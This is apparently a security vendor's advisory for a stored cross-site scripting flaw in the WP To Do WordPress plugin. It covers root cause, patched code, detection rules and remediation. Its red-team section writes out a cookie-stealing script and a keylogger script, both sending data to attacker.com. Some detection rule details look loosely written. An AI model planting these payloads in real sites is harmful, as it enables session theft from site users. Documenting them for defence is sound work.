CVE-2024-3944
Executive Summary
CVE-2024-3944 is a Stored Cross-Site Scripting (XSS) vulnerability in the WP To Do WordPress plugin, affecting all versions up to and including 1.3.0. The flaw resides in the comment functionality, where insufficient input sanitization and output escaping allow authenticated attackers with administrator-level permissions to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page. The vulnerability is exploitable only on multi-site installations or environments where unfiltered_html has been disabled. Despite a low EPSS score (0.0%), the risk is elevated for WordPress multisite networks where lower-privileged administrators can compromise the entire network.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. No known supply chain compromise has been reported, but the lack of a patch increases the risk of malicious actors leveraging this flaw in targeted attacks against multisite installations.
CVSS Breakdown & Threat Level
- CVSS Score: 4.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: High (Administrator)
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
The medium severity reflects the requirement for high privileges and user interaction, but the potential for cross-site scripting in a multisite context can lead to broader compromise.
Deep Dive & Mechanics
The vulnerability exists in the comment submission handler of the WP To Do plugin. When an administrator adds a comment to a to-do item, the plugin fails to properly sanitize the input and escape the output before rendering it in the browser. Specifically, the comment parameter is not filtered for malicious HTML or JavaScript, allowing an attacker to inject arbitrary scripts.
Root Cause: The plugin uses $_POST['comment'] directly without applying WordPress's sanitize_text_field() or wp_kses_post() functions, and outputs the value without esc_html() or similar escaping.
Exploitation Scenario:
- An attacker with administrator access on a multisite network creates or edits a to-do item.
- The attacker submits a comment containing a malicious payload, e.g.,
<script>alert('XSS')</script>. - The payload is stored in the database and rendered on the to-do item page.
- When any user (including super admins) views the page, the script executes in their browser.
Impact: The attacker can steal session cookies, perform actions on behalf of the victim, deface pages, or redirect users to malicious sites. In a multisite environment, this could lead to cross-site compromise.
Vulnerable vs. Patched Code
Vulnerable Code (wp-todo.php, line ~120):
$comment = $_POST['comment'];
// No sanitization
$wpdb->insert($table_name, array('todo_id' => $todo_id, 'comment' => $comment));
Patched Code (hypothetical fix):
$comment = sanitize_text_field($_POST['comment']);
// Or use wp_kses_post for limited HTML
$wpdb->insert($table_name, array('todo_id' => $todo_id, 'comment' => $comment));
Output (vulnerable):
echo $comment; // No escaping
Output (patched):
echo esc_html($comment);
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- WordPress multisite installation with WP To Do plugin <= 1.3.0
- Administrator-level account on a subsite
Steps:
- Log in as an administrator on a subsite.
- Navigate to WP To Do and create a new to-do item.
- Add a comment with the following payload:
<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script> - Save the comment.
- When a super admin or other user views the to-do item, the script executes, exfiltrating cookies.
Alternative Payload (keylogger):
<script>
document.onkeypress = function(e) {
new Image().src = 'https://attacker.com/k?k=' + e.key;
};
</script>
Blue Team (Detection & Defense)
Detection:
- Monitor for unusual comment submissions containing
<script>tags. - Use WAF rules to block JavaScript in comment fields.
- Review WordPress audit logs for administrator actions on WP To Do.
Defense:
- Disable the WP To Do plugin until a patch is available.
- Restrict administrator privileges on multisite networks.
- Enable
unfiltered_htmlonly for trusted users (though this reduces security). - Implement Content Security Policy (CSP) headers to block inline scripts.
Indicators of Compromise (IOCs)
- Network: Outbound HTTP requests to attacker-controlled domains from WordPress admin pages.
- File: Modified
wp-todo.phpor database entries with<script>tags in thecommentcolumn. - Log: WordPress debug logs showing
wp_redirectorwp_diecalls related to comment submissions. - Database: SQL query:
SELECT * FROM wp_todo_comments WHERE comment LIKE '%<script>%'
Detection Engineering
YARA Rule
rule CVE_2024_3944_WP_To_Do_XSS {
meta:
description = "Detects malicious comment payloads targeting WP To Do plugin"
author = "Valters IT"
date = "2024-10-27"
reference = "CVE-2024-3944"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /on\w+\s*=\s*['"].*['"]/is
$xss3 = /javascript\s*:/is
condition:
any of ($xss*) and filesize < 10KB
}
Sigma Rule
title: WP To Do Stored XSS via Comment
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS attempts in WP To Do plugin comments
author: Valters IT
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url|contains: '/wp-admin/admin-ajax.php'
http.body|contains: 'action=wp_todo_add_comment'
http.body|contains|re: '<script[^>]*>'
condition: selection
falsepositives:
- Legitimate use of JavaScript in comments (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2024-3944 WP To Do Stored XSS Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"/wp-admin/admin-ajax.php"; http_uri;
content:"action=wp_todo_add_comment"; http_client_body;
pcre:"/<script[^>]*>.*<\/script>/i";
sid:1000001;
rev:1;
reference:cve,2024-3944;
)
Remediation & Mitigation
Immediate Actions:
- Disable the WP To Do plugin on all sites until a patch is released.
- Review and remove any suspicious comments from the database.
- Audit administrator accounts on multisite networks for unauthorized access.
Long-term Fix:
- Apply input sanitization (
sanitize_text_field()) and output escaping (esc_html()) to all comment fields. - Implement nonce verification for comment submissions.
- Restrict comment functionality to trusted roles only.
Workaround:
- Use a Web Application Firewall (WAF) to block
<script>tags in POST requests toadmin-ajax.php. - Enable
DISALLOW_UNFILTERED_HTMLinwp-config.phpfor all users.
Valters IT
Securing Digital Frontiers
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.